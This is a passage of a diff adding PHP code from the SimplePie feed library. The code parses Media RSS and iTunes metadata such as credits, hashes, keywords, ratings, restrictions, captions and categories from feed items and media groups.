+			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+				}
+			}
+			if (is_array($credits_parent))
+			{
+				$credits_parent = array_values(array_unique($credits_parent));
+			}
+
+			// DESCRIPTION
+			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// DURATION
+			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
+			{
+				$seconds = null;
+				$minutes = null;
+				$hours = null;
+				if (isset($duration_parent[0]['data']))
+				{
+					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					if (sizeof($temp) > 0)
+					{
+						$seconds = (int) array_pop($temp);
+					}
+					if (sizeof($temp) > 0)
+					{
+						$minutes = (int) array_pop($temp);
+						$seconds += $minutes * 60;
+					}
+					if (sizeof($temp) > 0)
+					{
+						$hours = (int) array_pop($temp);
+						$seconds += $hours * 3600;
+					}
+					unset($temp);
+					$duration_parent = $seconds;
+				}
+			}
+
+			// HASHES
+			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			elseif ($hashes_iterator = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
+						$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($hash['attribs']['']['algo']))
+					{
+						$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$algo = 'md5';
+					}
+					$hashes_parent[] = $algo.':'.$value;
+				}
+			}
+			if (is_array($hashes_parent))
+			{
+				$hashes_parent = array_values(array_unique($hashes_parent));
+			}
+
+			// KEYWORDS
+			if ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			elseif ($keywords = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'keywords'))
+			{
+				if (isset($keywords[0]['data']))
+				{
+					$temp = explode(',', $this->sanitize($keywords[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					foreach ($temp as $word)
+					{
+						$keywords_parent[] = trim($word);
+					}
+				}
+				unset($temp);
+			}
+			if (is_array($keywords_parent))
+			{
+				$keywords_parent = array_values(array_unique($keywords_parent));
+			}
+
+			// PLAYER
+			if ($player_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+			elseif ($player_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'player'))
+			{
+				if (isset($player_parent[0]['attribs']['']['url']))
+				{
+					$player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+				}
+			}
+
+			// RATINGS
+			if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = null;
+					$rating_value = null;
+					if (isset($rating['attribs']['']['scheme']))
+					{
+						$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$rating_scheme = 'urn:simple';
+					}
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit'))
+			{
+				foreach ($ratings as $rating)
+				{
+					$rating_scheme = 'urn:itunes';
+					$rating_value = null;
+					if (isset($rating['data']))
+					{
+						$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+				}
+			}
+			if (is_array($ratings_parent))
+			{
+				$ratings_parent = array_values(array_unique($ratings_parent));
+			}
+
+			// RESTRICTIONS
+			if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = null;
+					$restriction_type = null;
+					$restriction_value = null;
+					if (isset($restriction['attribs']['']['relationship']))
+					{
+						$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['attribs']['']['type']))
+					{
+						$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($restriction['data']))
+					{
+						$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block'))
+			{
+				foreach ($restrictions as $restriction)
+				{
+					$restriction_relationship = 'allow';
+					$restriction_type = null;
+					$restriction_value = 'itunes';
+					if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes')
+					{
+						$restriction_relationship = 'deny';
+					}
+					$restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
+				}
+			}
+			if (is_array($restrictions_parent))
+			{
+				$restrictions_parent = array_values(array_unique($restrictions_parent));
+			}
+			else
+			{
+				$restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default'));
+			}
+
+			// THUMBNAILS
+			if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+			elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail'))
+			{
+				foreach ($thumbnails as $thumbnail)
+				{
+					if (isset($thumbnail['attribs']['']['url']))
+					{
+						$thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+					}
+				}
+			}
+
+			// TITLES
+			if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title'))
+			{
+				if (isset($title_parent[0]['data']))
+				{
+					$title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// Clear the memory
+			unset($parent);
+
+			// Attributes
+			$bitrate = null;
+			$channels = null;
+			$duration = null;
+			$expression = null;
+			$framerate = null;
+			$height = null;
+			$javascript = null;
+			$lang = null;
+			$length = null;
+			$medium = null;
+			$samplingrate = null;
+			$type = null;
+			$url = null;
+			$width = null;
+
+			// Elements
+			$captions = null;
+			$categories = null;
+			$copyrights = null;
+			$credits = null;
+			$description = null;
+			$hashes = null;
+			$keywords = null;
+			$player = null;
+			$ratings = null;
+			$restrictions = null;
+			$thumbnails = null;
+			$title = null;
+
+			// If we have media:group tags, loop through them.
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group)
+			{
+				if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+				{
+					// If we have media:content tags, loop through them.
+					foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+					{
+						if (isset($content['attribs']['']['url']))
+						{
+							// Attributes
+							$bitrate = null;
+							$channels = null;
+							$duration = null;
+							$expression = null;
+							$framerate = null;
+							$height = null;
+							$javascript = null;
+							$lang = null;
+							$length = null;
+							$medium = null;
+							$samplingrate = null;
+							$type = null;
+							$url = null;
+							$width = null;
+
+							// Elements
+							$captions = null;
+							$categories = null;
+							$copyrights = null;
+							$credits = null;
+							$description = null;
+							$hashes = null;
+							$keywords = null;
+							$player = null;
+							$ratings = null;
+							$restrictions = null;
+							$thumbnails = null;
+							$title = null;
+
+							// Start checking the attributes of media:content
+							if (isset($content['attribs']['']['bitrate']))
+							{
+								$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['channels']))
+							{
+								$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['duration']))
+							{
+								$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$duration = $duration_parent;
+							}
+							if (isset($content['attribs']['']['expression']))
+							{
+								$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['framerate']))
+							{
+								$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['height']))
+							{
+								$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['lang']))
+							{
+								$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['fileSize']))
+							{
+								$length = ceil($content['attribs']['']['fileSize']);
+							}
+							if (isset($content['attribs']['']['medium']))
+							{
+								$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['samplingrate']))
+							{
+								$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['type']))
+							{
+								$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['attribs']['']['width']))
+							{
+								$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+							// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+							// CAPTIONS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+								{
+									$caption_type = null;
+									$caption_lang = null;
+									$caption_startTime = null;
+									$caption_endTime = null;
+									$caption_text = null;
+									if (isset($caption['attribs']['']['type']))
+									{
+										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['lang']))
+									{
+										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['start']))
+									{
+										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['end']))
+									{
+										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['data']))
+									{
+										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+								}
+								if (is_array($captions))
+								{
+									$captions = array_values(array_unique($captions));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+								{
+									$caption_type = null;
+									$caption_lang = null;
+									$caption_startTime = null;
+									$caption_endTime = null;
+									$caption_text = null;
+									if (isset($caption['attribs']['']['type']))
+									{
+										$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['lang']))
+									{
+										$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['start']))
+									{
+										$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['attribs']['']['end']))
+									{
+										$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($caption['data']))
+									{
+										$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
+								}
+								if (is_array($captions))
+								{
+									$captions = array_values(array_unique($captions));
+								}
+							}
+							else
+							{
+								$captions = $captions_parent;
+							}
+
+							// CATEGORIES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+							{
+								foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+								{
+									$term = null;
+									$scheme = null;
+									$label = null;
+									if (isset($category['data']))
+									{
+										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($category['attribs']['']['scheme']))
+									{
+										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$scheme = 'http://search.yahoo.com/mrss/category_schema';
+									}
+									if (isset($category['attribs']['']['label']))
+									{
+										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+								}
+							}
+							if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+							{
+								foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+								{
+									$term = null;
+									$scheme = null;
+									$label = null;
+									if (isset($category['data']))
+									{
+										$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($category['attribs']['']['scheme']))
+									{
+										$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$scheme = 'http://search.yahoo.com/mrss/category_schema';
+									}
+									if (isset($category['attribs']['']['label']))
+									{
+										$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+								}
+							}
+							if (is_array($categories) && is_array($categories_parent))
+							{
+								$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
+							}
+							elseif (is_array($categories))
+							{
+								$categories = array_values(array_unique($categories));
+							}
+							elseif (is_array($categories_parent))
+							{
+								$categories = array_values(array_unique($categories_parent));
+							}
+
+							// COPYRIGHTS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+							{
+								$copyright_url = null;
+								$copyright_label = null;
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+								{
+									$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+								{
+									$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+							{
+								$copyright_url = null;
+								$copyright_label = null;
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+								{
+									$copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+								{
+									$copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
+							}
+							else
+							{
+								$copyrights = $copyrights_parent;
+							}
+
+							// CREDITS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+								{
+									$credit_role = null;
+									$credit_scheme = null;
+									$credit_name = null;
+									if (isset($credit['attribs']['']['role']))
+									{
+										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($credit['attribs']['']['scheme']))
+									{
+										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$credit_scheme = 'urn:ebu';
+									}
+									if (isset($credit['data']))
+									{
+										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+								}
+								if (is_array($credits))
+								{
+									$credits = array_values(array_unique($credits));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+								{
+									$credit_role = null;
+									$credit_scheme = null;
+									$credit_name = null;
+									if (isset($credit['attribs']['']['role']))
+									{
+										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($credit['attribs']['']['scheme']))
+									{
+										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$credit_scheme = 'urn:ebu';
+									}
+									if (isset($credit['data']))
+									{
+										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
+								}
+								if (is_array($credits))
+								{
+									$credits = array_values(array_unique($credits));
+								}
+							}
+							else
+							{
+								$credits = $credits_parent;
+							}
+
+							// DESCRIPTION
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+							{
+								$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+							{
+								$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							else
+							{
+								$description = $description_parent;
+							}
+
+							// HASHES
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+								{
+									$value = null;
+									$algo = null;
+									if (isset($hash['data']))
+									{
+										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($hash['attribs']['']['algo']))
+									{
+										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$algo = 'md5';
+									}
+									$hashes[] = $algo.':'.$value;
+								}
+								if (is_array($hashes))
+								{
+									$hashes = array_values(array_unique($hashes));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+								{
+									$value = null;
+									$algo = null;
+									if (isset($hash['data']))
+									{
+										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									if (isset($hash['attribs']['']['algo']))
+									{
+										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$algo = 'md5';
+									}
+									$hashes[] = $algo.':'.$value;
+								}
+								if (is_array($hashes))
+								{
+									$hashes = array_values(array_unique($hashes));
+								}
+							}
+							else
+							{
+								$hashes = $hashes_parent;
+							}
+
+							// KEYWORDS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+							{
+								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+								{
+									$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+									foreach ($temp as $word)
+									{
+										$keywords[] = trim($word);
+									}
+									unset($temp);
+								}
+								if (is_array($keywords))
+								{
+									$keywords = array_values(array_unique($keywords));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+							{
+								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+								{
+									$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+									foreach ($temp as $word)
+									{
+										$keywords[] = trim($word);
+									}
+									unset($temp);
+								}
+								if (is_array($keywords))
+								{
+									$keywords = array_values(array_unique($keywords));
+								}
+							}
+							else
+							{
+								$keywords = $keywords_parent;
+							}
+
+							// PLAYER
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+							{
+								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+							{
+								$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							else
+							{
+								$player = $player_parent;
+							}
+
+							// RATINGS
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+							{
+								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+								{
+									$rating_scheme = null;
+									$rating_value = null;
+									if (isset($rating['attribs']['']['scheme']))
+									{
+										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									else
+									{
+										$rating_scheme = 'urn:simple';
+									}
+									if (isset($rating['data']))
+									{
+										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+									}
+									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
+								}
+								if (is_array($ratings))
+								{
+									$ratings = array_values(array_unique($ratings));
+								}
+							}
+							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+							{
+								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
